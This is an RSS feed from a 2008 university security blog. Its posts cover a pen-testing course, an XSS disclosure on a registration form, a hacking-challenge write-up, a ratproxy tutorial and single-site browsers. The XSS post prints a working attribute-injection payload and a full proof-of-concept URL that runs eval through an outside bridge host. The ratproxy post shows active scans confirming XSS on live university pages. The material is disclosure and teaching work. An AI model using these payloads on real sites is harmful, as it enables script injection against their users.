<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	xmlns:creativeCommons="http://backend.userland.com/creativeCommonsRssModule"
>

<channel>
	<title>ISIS &#187; Web</title>
	<atom:link href="http://isisblogs.poly.edu/category/web/feed/" rel="self" type="application/rss+xml" />
	<link>http://isisblogs.poly.edu</link>
	<description>Information Systems and Internet Security</description>
	<lastBuildDate>Mon, 20 Oct 2008 17:57:50 +0000</lastBuildDate>
	<generator>http://wordpress.org/?v=2.8.5</generator>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<creativeCommons:license>http://creativecommons.org/licenses/by/3.0/us/</creativeCommons:license>
		<item>
		<title>Fall Penetration Testing and Exploit-Dev course</title>
		<link>http://isisblogs.poly.edu/2008/08/24/fall-penetration-testing-and-exploit-dev-course/</link>
		<comments>http://isisblogs.poly.edu/2008/08/24/fall-penetration-testing-and-exploit-dev-course/#comments</comments>
		<pubDate>Sun, 24 Aug 2008 17:00:05 +0000</pubDate>
		<dc:creator>dan</dc:creator>
				<category><![CDATA[Exploits]]></category>
		<category><![CDATA[Meta]]></category>
		<category><![CDATA[Reverse Engineering]]></category>
		<category><![CDATA[Social Engineering]]></category>
		<category><![CDATA[Targeted Attacks]]></category>
		<category><![CDATA[Web]]></category>

		<guid isPermaLink="false">http://isisblogs.poly.edu/?p=158</guid>
		<description><![CDATA[This year&#8217;s Penetration Testing and Exploit Development course (Fall 2008) will contain completely rewritten course material, guest lectures from leading security professionals, and free access to commercial tools provided by Fortify Software and Matta (thank you!). Additionally, the class will be held on-campus rather than online as it has been.
The instructor for the course is [...]]]></description>
			<content:encoded><![CDATA[<p>This year&#8217;s Penetration Testing and Exploit Development course (Fall 2008) will contain completely rewritten course material, guest lectures from leading security professionals, and free access to commercial tools provided by <a href="http://www.fortify.com/">Fortify Software</a> and <a href="http://trustmatta.com/">Matta</a> (thank you!). Additionally, the class will be held on-campus rather than online as it has been.</p>
<p>The instructor for the course is Nasir Memon with TA&#8217;s Dan Guido (me) and Vikram Padman. The syllabus has been finalized and the guest professors as well as their respective topics are as follows:</p>
<ul>
<li> Sept 4th &#8212; Introduction and <a href="http://isis.poly.edu/csaw/">CSAW</a>, <a href="http://cryptocity.net/">Dan Guido</a></li>
<li> Sept 11th &#8212; Source Code Analysis, <a href="http://cryptocity.net/">Dan Guido</a><a href="http://cryptocity.net/" target="_blank"></a></li>
<li> Sept 18th &#8212; Reverse Engineering, <a href="http://twitter.com/s7ephen">Stephen A. Ridley</a><a href="http://www.sa7ori.org/" target="_blank"></a></li>
<li> Sept 25th &#8212; Reverse Engineering, <a href="http://twitter.com/s7ephen">Stephen A. Ridley</a><a href="http://www.sa7ori.org/" target="_blank"></a></li>
</ul>
<ul>
<li> October 2nd &#8212; Overflows, <a href="http://theta44.org/">Dino Dai Zovi</a></li>
<li> October 9th &#8212; Overflows, <a href="http://theta44.org/">Dino Dai Zovi</a></li>
<li> October 16th &#8212; TAKE-HOME MIDTERM</li>
<li> October 23rd &#8212; Fuzzing,Â <a href="http://schmoil.blogspot.com/">Mike Zusman</a><a href="http://schmoil.blogspot.com/" target="_blank"></a></li>
<li> October 30th &#8212; Fuzzing, <a href="http://schmoil.blogspot.com/">Mike Zusman</a><a href="http://schmoil.blogspot.com/" target="_blank"></a></li>
</ul>
<ul>
<li> November 6th &#8212; Client-side attacks, <a href="http://www.zerodaysolutions.com/">Dean De Beer</a><a href="http://www.zerodaysolutions.com/" target="_blank"></a></li>
<li> November 13th &#8212; Client-side attacks, <a href="http://www.zerodaysolutions.com/">Dean De Beer</a><a href="http://www.zerodaysolutions.com/" target="_blank"></a></li>
<li> November 20th &#8212; Web Hacking, <a href="http://erik.cabetas.com/">Erik Cabetas</a><a href="http://erik.cabetas.com/" target="_blank"></a></li>
<li> November 27th &#8212; Web Hacking, <a href="http://erik.cabetas.com/">Erik Cabetas</a><a href="http://erik.cabetas.com/" target="_blank"></a></li>
</ul>
<ul>
<li> December 4th &#8212; FINAL PROJECTS</li>
<li> December 11th &#8212; hack the planet/show off projects</li>
</ul>
<p>Students will have to complete one homework assignment every two weeks, a take-home midterm, and do a final project of their choosing. Each two week session will contain one full session of Q&amp;A to review the homework associated with it. Extra credit will be given for participating in <a href="http://isis.poly.edu/csaw/">CSAW</a> and <a href="http://www.cs.ucsb.edu/~vigna/CTF/">UCSB iCTF</a>.</p>
<p>Any questions about the course can be e-mailed to me at <a href="mailto:dguido@gmail.com">dguido@gmail.com</a>.</p>
<p>EDIT: The course will be held in room <strong>RH227</strong></p>
]]></content:encoded>
			<wfw:commentRss>http://isisblogs.poly.edu/2008/08/24/fall-penetration-testing-and-exploit-dev-course/feed/</wfw:commentRss>
		<slash:comments>6</slash:comments>
	<creativeCommons:license>http://creativecommons.org/licenses/by/3.0/us/</creativeCommons:license>
	</item>
		<item>
		<title>PHP strip_tags not a complete protection against XSS</title>
		<link>http://isisblogs.poly.edu/2008/08/16/php-strip_tags-not-a-complete-protection-against-xss/</link>
		<comments>http://isisblogs.poly.edu/2008/08/16/php-strip_tags-not-a-complete-protection-against-xss/#comments</comments>
		<pubDate>Sun, 17 Aug 2008 02:17:01 +0000</pubDate>
		<dc:creator>dan</dc:creator>
				<category><![CDATA[Meta]]></category>
		<category><![CDATA[Web]]></category>

		<guid isPermaLink="false">http://isisblogs.poly.edu/?p=187</guid>
		<description><![CDATA[On August 13th .mario, a high-profile member of the sla.ckers.org forum, alerted me to a XSS issue on the CSAW registration form. I had previously looked through the code and concluded it was safe based on this block of filtering code included at the top of the page:
//don't use this script!
foreach ($_COOKIE as &#38;$cookie) {
 [...]]]></description>
			<content:encoded><![CDATA[<p>On August 13th <a href="http://sla.ckers.org/forum/profile.php?13,59">.mario</a>, a high-profile member of the <a href="http://sla.ckers.org/forum/">sla.ckers.org</a> forum, alerted me to a XSS issue on the CSAW <a href="http://isis.poly.edu/csaw/register">registration form</a>. I had previously looked through the code and concluded it was safe based on this block of filtering code included at the top of the page:</p>
<pre>//don't use this script!
foreach ($_COOKIE as &amp;$cookie) {
  $cookie = trim(strip_tags(@mysqli_real_escape_string($mySQL, $cookie)));
}
foreach ($_POST as &amp;$post) {
  if (is_array($post)) {
    foreach ($post as &amp;$_post) {
      $_post = trim(strip_tags(@mysqli_real_escape_string($mySQL, $_post)));
    }
  }
  else {
    $post = trim(strip_tags(@mysqli_real_escape_string($mySQL, $post)));
  }
}</pre>
<p>Additionally, the registration script limits sources of user controllable input by only ever using the POST and COOKIE superglobals.<br />
<span id="more-187"></span></p>
<p>This script eliminates potential SQL injections by calling <a href="http://www.php.net/mysqli_real_escape_string">mysqli_real_escape_string</a> on all user input. The *_real_escape_string functions in PHP are the only safe way to prevent SQL injection attacks as there are ways to sneak attacks by the [deprecated] *_escape_string and addslashes functions, for example, with <a href="http://shiflett.org/blog/2006/jan/addslashes-versus-mysql-real-escape-string">different character encodings</a>.</p>
<p>After being processed by mysql_real_escape_string, all user input is then filtered through <a href="http://www.php.net/strip_tags">strip_tags</a>, a function which one might <em>think</em> would prevent cross-site-scripting attacks by completely removing any HTML and PHP tags it finds. strip_tags works through many different encodings and very effectively <em>strips tags</em>, however, seasoned web hackers will be saying at this point &#8220;there are other ways to inject javascript without tags!&#8221; and they would be right.</p>
<p>The easiest way to avoid strip_tags is to inject a quote to close the current attribute, create a giant block with a new CSS style attribute, and make it evaluate javascript onmouseover. Using <a href="http://sla.ckers.org/forum/read.php?2,20942">an example</a> from the sla.ckers.org forum and .mario himself:</p>
<pre>" onwhatever=alert(1) a="</pre>
<p>This accomplishes the goal of injecting javascript into the target application without creating any additional HTML or PHP tags, and strip_tags won&#8217;t pick it up!</p>
<p>I asked .mario if he would be kind enough to provide us with a proof of concept that would work specifically in the context of the CSAW registration page. He did not disappoint and PM&#8217;d me the following attack string:</p>
<blockquote><p>http://evil.hackademix.net/name.xss/***http://isis.poly.edu/csaw/register?name=&#8221;style=&#8221;a:b;margin-top:-1000px;margin-left:-100px;width:4000px;height:4000px;display:block;&#8221;onmouseover=alert(/XSS/[-1]);eval(name) a=&#8221;***content,post</p>
<p>*** This has been URL decoded.<br />
*** For the original, please see <a href="http://preview.tinyurl.com/csawxss">http://preview.tinyurl.com/csawxss</a></p></blockquote>
<p><a href="http://isisblogs.poly.edu/wp-content/uploads/csaw-xss.png" rel="lightbox[187]"><img class="aligncenter size-medium wp-image-188" title="csaw-xss" src="http://isisblogs.poly.edu/wp-content/uploads/csaw-xss-300x138.png" alt="" width="300" height="138" /></a></p>
<p>His attack utilizes a service <a href="http://hackademix.net/">Giorgio Maone</a> wrote (the name.xss part of the URL) to launch XSS attacks on websites that limit user input to parameters other than GET, as ours does. The attack works as I described above, by adding new attributes into the existing tag and creating a large CSS block that triggers javascript onmouseover. Interestingly, this complicated attack string is processed as javascript by all the major browsers including IE8, Firefox 3, Opera 9.51, and Safari 3! I was really impressed.</p>
<p>After verifying the PoC, I made a small addition to our filtering script to prevent this attack by adding an <a href="http://www.php.net/htmlentities">htmlentities</a> function call to each iteration of the two loops. This isn&#8217;t the best solution as it escapes input more than is necessary and I didn&#8217;t have a chance to bug test it much at all. A better solution can be found in the same sla.ckers.org forum post I found the attack string in:</p>
<blockquote><p>&#8230;the best practice is IMHO:</p>
<p>Input -&gt; Validate -&gt; Filter (CRLF, Ctrl-Chars) -&gt; Escape -&gt; Store -&gt; Encode (Just the characters you need to encode) -&gt; Output</p>
<p>Validation can be done via type check or regex, for filtering the ord() method does a great job, escaping is done by mysql_(real)_escape_string() and encoding is done by correctly parametrized htmlentities().</p></blockquote>
<p>We&#8217;ll be looking into ways to rewrite our filtering script according to this advice, and also at <a href="http://php-ids.org/">PHP-IDS</a>, as a way to prevent these types of issues in the future.</p>
<p>Thanks <a href="http://mario.heideri.ch/">.mario</a>!</p>
<p>EDIT 08/17/2008: I incorrectly attributed the name.xss bridge to mario. It is actually the creation of Giorgio Maone.</p>
]]></content:encoded>
			<wfw:commentRss>http://isisblogs.poly.edu/2008/08/16/php-strip_tags-not-a-complete-protection-against-xss/feed/</wfw:commentRss>
		<slash:comments>3</slash:comments>
	<creativeCommons:license>http://creativecommons.org/licenses/by/3.0/us/</creativeCommons:license>
	</item>
		<item>
		<title>Fortify Hacking Challenge</title>
		<link>http://isisblogs.poly.edu/2008/08/15/fortify-hacking-challenge/</link>
		<comments>http://isisblogs.poly.edu/2008/08/15/fortify-hacking-challenge/#comments</comments>
		<pubDate>Fri, 15 Aug 2008 18:03:10 +0000</pubDate>
		<dc:creator>dan</dc:creator>
				<category><![CDATA[CTF]]></category>
		<category><![CDATA[Conferences]]></category>
		<category><![CDATA[Events]]></category>
		<category><![CDATA[Web]]></category>

		<guid isPermaLink="false">http://isisblogs.poly.edu/?p=178</guid>
		<description><![CDATA[I also did the Fortify [Web] Hacking Challenge last week. Their challenge was refreshingly different, fun, and relaxing compared to the other web hacking challenges I&#8217;ve done. I really enjoyed playing in it even if it only lasted a short time. Here&#8217;s the official description of the contest:
The link below will take you to a [...]]]></description>
			<content:encoded><![CDATA[<p>I also did the <a href="http://www.fortify.com/">Fortify</a> [Web] <a href="http://thehackingchallenge.com/">Hacking Challenge</a> last week. Their challenge was refreshingly different, fun, and relaxing compared to the other web hacking challenges I&#8217;ve done. I really enjoyed playing in it even if it only lasted a short time. Here&#8217;s the official description of the contest:</p>
<blockquote><p>The link below will take you to a Web site which contains numerous vulnerabilities but is being defended by the Fortify Real-Time Analyzer (RTA). When you conduct an attack, Fortify RTA will block your efforts and redirect you to a separate page. However, if you conduct a particularly impressive attack, Fortify RTA will redirect you to a different page, with a code word. There are three code words available.</p></blockquote>
<p>Fortify RTA had a tight lock on that website! I probably came up with a hundred separate attacks against their website, but they were only looking for a very specific 3. Every so often, I&#8217;d come up with what I thought was an impressive attack but it wouldn&#8217;t give me any points! Here&#8217;s one example:</p>
<blockquote><p>I found an authorization problem when viewing account details that let me enumerate the database for and grab the account details of every client in the bank. I used Burp Intruder to automate harvesting this data, making over 10,000 requests to the server to gather the info. Then I manipulated client-side parameters on the &#8216;transfer funds&#8217; page to steal money from other clients and deposit it into my account. This wasn&#8217;t an attack they were looking for and didn&#8217;t get me any points! Grrr.. </p></blockquote>
<p>I took screenshots of all the <em>actual</em> attacks below.<br />
<span id="more-178"></span></p>
<p>You had to recognize that they set an AuthType cookie when you logged in. Changing this cookie to 0 let you view and access a hidden admin panel.</p>
<p><a href="http://isisblogs.poly.edu/wp-content/uploads/fortifyauthtype.png" rel="lightbox[178]"><img src="http://isisblogs.poly.edu/wp-content/uploads/fortifyauthtype-300x227.png" alt="" title="fortify-authtype" width="300" height="227" class="aligncenter size-medium wp-image-182" /></a></p>
<p>Once in the admin panel, RTA triggered on a command injection vulnerability:</p>
<p><a href="http://isisblogs.poly.edu/wp-content/uploads/fortifycode3.png" rel="lightbox[178]"><img src="http://isisblogs.poly.edu/wp-content/uploads/fortifycode3-300x219.png" alt="" title="fortify-commandinj" width="300" height="219" class="aligncenter size-medium wp-image-184" /></a></p>
<p>&#8230; and on cross-site-scripting the other admins:</p>
<p><a href="http://isisblogs.poly.edu/wp-content/uploads/fortifycode2.png" rel="lightbox[178]"><img src="http://isisblogs.poly.edu/wp-content/uploads/fortifycode2-300x180.png" alt="" title="fortify-xss" width="300" height="180" class="aligncenter size-medium wp-image-185" /></a></p>
<p>The last attack was a SQL injection on the account details page:</p>
<p><a href="http://isisblogs.poly.edu/wp-content/uploads/fortifycode1.png" rel="lightbox[178]"><img src="http://isisblogs.poly.edu/wp-content/uploads/fortifycode1-300x88.png" alt="" title="fortify-sqli" width="300" height="88" class="aligncenter size-medium wp-image-183" /></a></p>
<p>My biggest problem was that I overthought the attacks they were looking for. Once I calmed down and stopped trying to become a millionaire/root-shell-0wner I realized they were probably looking for the basic web vuln trifecta: command injection, xss, and sqli. All in all, a really fun challenge. Thanks Fortify!</p>
]]></content:encoded>
			<wfw:commentRss>http://isisblogs.poly.edu/2008/08/15/fortify-hacking-challenge/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
	<creativeCommons:license>http://creativecommons.org/licenses/by/3.0/us/</creativeCommons:license>
	</item>
		<item>
		<title>ratproxy 1.51 tutorial</title>
		<link>http://isisblogs.poly.edu/2008/07/05/ratproxy-151-tutorial/</link>
		<comments>http://isisblogs.poly.edu/2008/07/05/ratproxy-151-tutorial/#comments</comments>
		<pubDate>Sat, 05 Jul 2008 18:43:01 +0000</pubDate>
		<dc:creator>dan</dc:creator>
				<category><![CDATA[Web]]></category>

		<guid isPermaLink="false">http://isisblogs.poly.edu/?p=118</guid>
		<description><![CDATA[Ratproxy is a [mostly] passive web vulnerability scanner that Michal Zalewski released a few days ago. Set ratproxy to proxy your web browser and go surf! When you&#8217;re done, run a shell script and out pops a clear report of all the vulnerabilities ratproxy thinks it saw.
I&#8217;ve played around with ratproxy the past few days [...]]]></description>
			<content:encoded><![CDATA[<p><a href="http://code.google.com/p/ratproxy/">Ratproxy</a> is a [mostly] passive web vulnerability scanner that <a href="http://lcamtuf.coredump.cx/">Michal Zalewski</a> released a <a href="http://googleonlinesecurity.blogspot.com/2008/07/meet-ratproxy-our-passive-web-security.html">few days ago</a>. Set ratproxy to proxy your web browser and go surf! When you&#8217;re done, run a shell script and out pops a clear report of all the vulnerabilities ratproxy thinks it saw.</p>
<p>I&#8217;ve played around with ratproxy the past few days and used it to find vulnerabilities in some major websites. Here is a short cheatsheet I wrote up, an example report file and what it means, and a quick look into the source code of ratproxy.</p>
<p><span id="more-118"></span></p>
<p>Cheatsheet:</p>
<blockquote><p>./ratproxy -v  dumpdir -w  audit1.log -d host.domain -lextifscgjm</p>
<p>Small set: -lfscm<br />
Big set: -lextifscgjm<br />
Active: -XClfscm<br />
Everything: -XClextifscgjm</p>
<p>When done, run ./ratproxy-report.sh audit1.log &gt; audit1.html</p>
<p>-v folder to save http traces<br />
-w the log file<br />
-d the domain to analyze (multiple -d&#8217;s are allowed)</p>
<p>-l relaxed page checksumming<br />
-e check caching<br />
-x XSS candidates (-X disruptive XSS checking)<br />
-t directory traversal candidates<br />
-i log PNG images (possible XSS in IE)<br />
-f log all flash and pass to the decompiler<br />
-s log all POST requests<br />
-c log all URLs that set cookies<br />
-g extend XSRF checks to GET (POST and COOKIE are done by default)<br />
-j detect evil JS functions (eval, innerHTML, etc)<br />
-m remote images/remote linking (breaks when -d is unset)</p>
<p>-X active testing, validate potential XSS, XSRF<br />
-C replay requests with modified params<br />
-k assume HTTPS must always be on, report downgrades to HTTP<br />
-a log all visited URLs (track code coverage)</p></blockquote>
<p>Ratproxy breaks a trend in the security community in that it isn&#8217;t written in Ruby <em>or</em> Python! It&#8217;s all written in C and bash. I had no problems getting it to compile on Linux, Mac, and Windows (Cygwin). Ratproxy uses an external library to decompile flash files that you have to replace with the proper one for your platform.Â  Note: as much as you are tempted, don&#8217;t turn on ratproxy and pump wget through it. As a friend described it, wget will only download the &#8220;scrapeface&#8221; of the website and will behave in a substantially different manner than a human would, which ratproxy depends on for a few of its checks. Also note: turning on the &#8220;-XC&#8221; options will let ratproxy make potentially harmful requests on its own. If you&#8217;re going for stealth, leave those off and stick with &#8220;-lextifscgjm&#8221; for the largest set of possible vulnerabilities.</p>
<p>To demonstrate some of ratproxy&#8217;s capabilities, I set it up to <em>actively</em> analyze the poly.edu domain:</p>
<blockquote><p>./ratproxy -v dumps -w poly.log -d poly.edu -XClfscm</p></blockquote>
<p>Then I set my proxy in Firefox to be localhost:8080 and went to work surfing the web (heh ratproxy will usher in a new age of legitimate excuses for security pros to <a href="http://xkcd.com/303/">slack off</a>!). I read some news about the NYU merger, looked up athletics info, found some IT policies, and read about the BEST center. To quit, you just CTRL+C the ratproxy process and set Firefox to connect directly to the web again. The poly.log file should be filled up by now. This log file is a pipe-separated, one-issue-per-line, easy-to-grep report, but right now I just want something easy to read so lets process it into a nice html report:</p>
<blockquote><p>./ratproxy-report.sh poly.log &gt; poly.html</p></blockquote>
<p style="text-align: center;"><a href="http://isisblogs.poly.edu/wp-content/uploads/ratproxy_poly_report.jpg" rel="lightbox[118]"><img class="alignnone size-medium wp-image-119 aligncenter" title="ratproxy_poly_report" src="http://isisblogs.poly.edu/wp-content/uploads/ratproxy_poly_report-294x300.jpg" alt="ratproxy - poly.edu report" width="294" height="300" /></a></p>
<p>Nice! There are a whole bunch of confirmed XSS vectors right at the top! There doesn&#8217;t appear to be anything else too serious, but those are good results considering I did basically nothing for them. It looks like there are two separate pages I went to with XSS, let&#8217;s try and verify both. The first is at <a href="http://insight.poly.edu/phonebook/">http://insight.poly.edu/phonebook</a>. Let&#8217;s go grab one of RSnake&#8217;s XSS locators, put it in a field and see what happens:<br />
<a href="http://isisblogs.poly.edu/wp-content/uploads/xss_before_insight.jpg" rel="lightbox[118]"><img class="alignnone size-medium wp-image-120 aligncenter" title="xss_before_insight" src="http://isisblogs.poly.edu/wp-content/uploads/xss_before_insight-300x122.jpg" alt="Poly Phonebook XSS - Before" width="300" height="122" /></a><br />
<a href="http://isisblogs.poly.edu/wp-content/uploads/xss_after_insight.jpg" rel="lightbox[118]"><img class="aligncenter size-medium wp-image-121" title="xss_after_insight" src="http://isisblogs.poly.edu/wp-content/uploads/xss_after_insight-300x101.jpg" alt="Poly Phonebook XSS - After" width="300" height="101" /></a></p>
<p>Sweet! Ratproxy knows what it&#8217;s talking about. Now let&#8217;s try the calendar at <a href="http://www.poly.edu/calendar/">http://www.poly.edu/calendar/</a>. According to the report, it looks like the &#8216;view&#8217; parameter is vulnerable. Let&#8217;s just re-use the same XSS locator since it worked so well last time.</p>
<p><a href="http://isisblogs.poly.edu/wp-content/uploads/xss_before_calendar.jpg" rel="lightbox[118]"><img class="aligncenter size-full wp-image-122" title="xss_before_calendar" src="http://isisblogs.poly.edu/wp-content/uploads/xss_before_calendar.jpg" alt="Poly Calendar XSS - Before" width="500" height="194" /></a></p>
<p><a href="http://isisblogs.poly.edu/wp-content/uploads/xss_after_calendar.jpg" rel="lightbox[118]"><img class="aligncenter size-full wp-image-123" title="xss_after_calendar" src="http://isisblogs.poly.edu/wp-content/uploads/xss_after_calendar.jpg" alt="Poly Calendar XSS - After" width="500" height="162" /></a></p>
<p>Ratproxy is good at this. Let&#8217;s take a look at the code they&#8217;re using to &#8220;disruptively&#8221; check for XSS.</p>
<p><a href="http://isisblogs.poly.edu/wp-content/uploads/ratproxy_xss_code.jpg" rel="lightbox[118]"><img class="aligncenter size-medium wp-image-124" title="ratproxy_xss_code" src="http://isisblogs.poly.edu/wp-content/uploads/ratproxy_xss_code-253x300.jpg" alt="Ratproxy Active XSS Detection" width="253" height="300" /></a></p>
<p>(fyi, http_request.p is a list of decoded parameters) Sticking with their &#8220;don&#8217;t be evil&#8221; mantra, no actual javascript is injected into the web application. Instead, they&#8217;re taking all the parameters they&#8217;ve already determined are echo&#8217;d back and putting in the dummy string qg:qg qg=&#8211;&gt;qg\&#8221;qg&gt;qg&#8217;qg&gt;qg+qg&lt;qg&gt; to check for input validation/output encoding. Later down, starting at about line 440, they have what is basically a huge switch looking for how that string was returned.</p>
<p>My overall assessment of ratproxy is that it&#8217;s a good first-pass tool when you&#8217;ve got a nice big web app and don&#8217;t know where to start. Ratproxy will help you pick out interesting bits to focus on and identify weakly coded chunks of applications within larger websites (notice that ratproxy picked out the phonebook and calendar above, but nothing important was returned on the main Poly website). One thing in particular that I like about ratproxy are its clean and useful reports. Each report starts with a concise description of the issue, whether you can access it pre-auth, an excerpt of the http trace demonstrating the issue, and a link to the full trace. Other web application vulnerabilities scanners need to learn from this!</p>
<p>Keep up the good work Michal!</p>
]]></content:encoded>
			<wfw:commentRss>http://isisblogs.poly.edu/2008/07/05/ratproxy-151-tutorial/feed/</wfw:commentRss>
		<slash:comments>16</slash:comments>
	<creativeCommons:license>http://creativecommons.org/licenses/by/3.0/us/</creativeCommons:license>
	</item>
		<item>
		<title>Social Engineering final presentations</title>
		<link>http://isisblogs.poly.edu/2008/05/14/social-engineering-final-presentations/</link>
		<comments>http://isisblogs.poly.edu/2008/05/14/social-engineering-final-presentations/#comments</comments>
		<pubDate>Wed, 14 May 2008 21:08:50 +0000</pubDate>
		<dc:creator>dan</dc:creator>
				<category><![CDATA[Academic Papers]]></category>
		<category><![CDATA[Psychology of Security]]></category>
		<category><![CDATA[Social Engineering]]></category>
		<category><![CDATA[Web]]></category>

		<guid isPermaLink="false">http://isisblogs.poly.edu/?p=88</guid>
		<description><![CDATA[Yesterday marked the end of our first-run Psychology of Security/Social Engineering course here at Poly. Every student made a presentation that described the research project they designed and attempted to run during the semester. I&#8217;ll upload the presentations as I get them so check this page often  .

The Effectiveness of Security Training / Graphical [...]]]></description>
			<content:encoded><![CDATA[<p>Yesterday marked the end of our first-run Psychology of Security/Social Engineering course here at Poly. Every student made a presentation that described the research project they designed and attempted to run during the semester. I&#8217;ll upload the presentations as I get them so check this page often <img src='http://isisblogs.poly.edu/wp-includes/images/smilies/icon_smile.gif' alt=':-)' class='wp-smiley' /> .</p>
<ol>
<li><a href="http://isisblogs.poly.edu/wp-content/uploads/training-graphics-presentation.pdf">The Effectiveness of Security Training / Graphical Indicators of Security</a><br />Joint project by Dan Guido and Boris Kochergin</li>
<li><a href="http://isisblogs.poly.edu/wp-content/uploads/personalized_phishing_presentation.pdf">Personalized Phishing</a><br />Joint project by Brad Schonhorst and Jonathan Voris</li>
</ol>
<p>I&#8217;ve made an executive decision. The <a href="https://isis.poly.edu/mailman/listinfo/soceng">mailing list</a> that we used for the course will now be opened to the public for discussion of Social Engineering / Psychology of Security issues. I placed a link on the sidebar of this blog, please sign up if you&#8217;re interested!</p>
]]></content:encoded>
			<wfw:commentRss>http://isisblogs.poly.edu/2008/05/14/social-engineering-final-presentations/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
	<creativeCommons:license>http://creativecommons.org/licenses/by/3.0/us/</creativeCommons:license>
	</item>
		<item>
		<title>Update to Single-Site-Browsers (SSBs)</title>
		<link>http://isisblogs.poly.edu/2008/04/28/update-to-single-site-browsers-ssbs/</link>
		<comments>http://isisblogs.poly.edu/2008/04/28/update-to-single-site-browsers-ssbs/#comments</comments>
		<pubDate>Tue, 29 Apr 2008 03:44:37 +0000</pubDate>
		<dc:creator>dan</dc:creator>
				<category><![CDATA[Psychology of Security]]></category>
		<category><![CDATA[Risk Analysis]]></category>
		<category><![CDATA[Security Engineering]]></category>
		<category><![CDATA[Security Industry]]></category>
		<category><![CDATA[Social Engineering]]></category>
		<category><![CDATA[Web]]></category>

		<guid isPermaLink="false">http://isisblogs.poly.edu/?p=86</guid>
		<description><![CDATA[I spent a lot more time thinking about SSBs over the last week or so and I&#8217;d like to use this blog to do a bit of a brain dump. A few days ago, Andrew Jaquith publicly posted the presentation that was sent me to privately. Here are links to his blog and to his [...]]]></description>
			<content:encoded><![CDATA[<p>I spent a lot more time thinking about SSBs over the last week or so and I&#8217;d like to use this blog to do a bit of a brain dump. A few days ago, Andrew Jaquith publicly posted the presentation that was sent me to privately. Here are links to his <a href="http://blogs.yankeegroup.com/2008/04/21/single-site-browsers/">blog</a> and to his <a href="http://blogs.yankeegroup.com/wp-content/uploads/2008/04/ssb-preso-reduced.pdf">presentation</a>.</p>
<p>His presentation makes a number of claims about the security benefits of SSBs. It lists protection against phishing, CSRF, some types of XSS (likely all non-persistent varieties), and domain whitelisting as a future improvement to harden those protections.</p>
<p>I don&#8217;t think [current] SSBs completely provide those security benefits unless you do two things:</p>
<ol>
<li>You block non-SSBs from accessing your website (blocking on user agent string would be enough)</li>
<li>You train users that an SSB is the only acceptable place to enter their password</li>
</ol>
<p>Without those two requirements satisfied, it is my opinion that SSBs give little security benefit.</p>
<p>If you still allow non-SSBs to access citibank.com, then when a user clicks an XSS&#8217;d link to citibank.com, the citibank.com page will still load, and they will still be XSS&#8217;d. Similarly, CSRF continues to function as it is likely that the &#8217;session cookie isolation&#8217; benefit of SSBs are negated by the user likely having duplicate cookies in both their SSB and in Firefox (you must ensure the user never logs into citibank.com with their normal browser and obtain a session cookie there, hence the first requirement).</p>
<p>In order for the phishing protection to be effective, users must be aware that they are only supposed to encounter Citibank content in their SSB and not in their normal browser. For instance, if an SSB user encounters a Citibank phishing website in Firefox, will they close their browser and open their SSB instead? It might be the case that users will behave in this way, but I haven&#8217;t seen any verifiable proof either way.</p>
<p>[This hasn't been reported on ISIS Blogs yet, but next week marks the end of our first run of "The Psychology of Security/Social Engineering", a first-run research course here at Poly. I'm writing up a research proposal to test the above hypothesis with a group of students in the Fall.]</p>
<p>Lastly, if a bank starts deploying SSBs to their customers, I see this as a first step towards successfully forcing client-side requirements on users where the end-game is fully trusted computing and the open commercial web starts to disappear. This actually goes back to our &#8220;<a href="http://isisblogs.poly.edu/2008/03/12/refusing-business-from-security-unaware-customers/">Refusing Insecure Customers</a>&#8221; debate. It&#8217;s an evolution of the same (<a href="http://isisblogs.poly.edu/pollsarchive/">bad</a>, according to readers) idea.</p>
<p>So, although I see where SSBs have some use and can positively affect your web security, let&#8217;s not kid ourselves, they don&#8217;t solve that much. To really be effective, they require major changes in the way you do business and [still] rely on an intelligent user. Rather, they look like avoidance of the base problem and an idealistic patch that isn&#8217;t going to work.</p>
<p>Oddly enough, I have been using a set of 4 <a href="http://wiki.mozilla.org/Prism">Prism</a> SSBs for the last 2 weeks and have actually grown fond of them, but not for security reasons at all. I like how they show up in my dock, that they rarely crash, and it seems natural to give such webapps &#8220;first-class&#8221; status as desktop applications. I&#8217;ll probably continue using them, but I don&#8217;t think I&#8217;ve gained any security from doing so.</p>
<p>That said, I think part of the problem here is that SSBs haven&#8217;t fully matured yet. I just heard about these things 2 weeks ago and I haven&#8217;t heard anyone else in the security community talking about them besides Andrew. They are a topic that deserves more attention and particularly more research from the security community as they embody a lot of <a href="http://wiki.mozilla.org/Prism#Prism_.2F_SSB_Objectives">attractive ideas</a>. Despite my harsh words, I&#8217;m not ready to give up on them yet.</p>
<p>Let&#8217;s brainstorm: how could SSBs be <em>more</em> useful to security? Could we change the way they work or change how they are deployed to give us additional benefits? If you&#8217;re an InfoSec student with no good topic to research, this is without a doubt a good avenue to explore.</p>
]]></content:encoded>
			<wfw:commentRss>http://isisblogs.poly.edu/2008/04/28/update-to-single-site-browsers-ssbs/feed/</wfw:commentRss>
		<slash:comments>3</slash:comments>
	<creativeCommons:license>http://creativecommons.org/licenses/by/3.0/us/</creativeCommons:license>
	</item>
		<item>
		<title>We promise we won&#8217;t store your password</title>
		<link>http://isisblogs.poly.edu/2008/03/30/we-promise-we-wont-store-your-password/</link>
		<comments>http://isisblogs.poly.edu/2008/03/30/we-promise-we-wont-store-your-password/#comments</comments>
		<pubDate>Mon, 31 Mar 2008 04:16:39 +0000</pubDate>
		<dc:creator>dan</dc:creator>
				<category><![CDATA[Privacy]]></category>
		<category><![CDATA[Psychology of Security]]></category>
		<category><![CDATA[Social Engineering]]></category>
		<category><![CDATA[Web]]></category>

		<guid isPermaLink="false">http://isisblogs.poly.edu/2008/03/30/we-promise-we-wont-store-your-password/</guid>
		<description><![CDATA[This is a short rant prompted by another student&#8217;s observation that Yelp actually asks for your Gmail password as part of their signup process&#8230;
Have you encountered a website that asks for the username and password to your e-mail provider? I&#8217;m talking about this:


LinkedIn asking for my Gmail password
Yelp asking for my Gmail password
This really needs [...]]]></description>
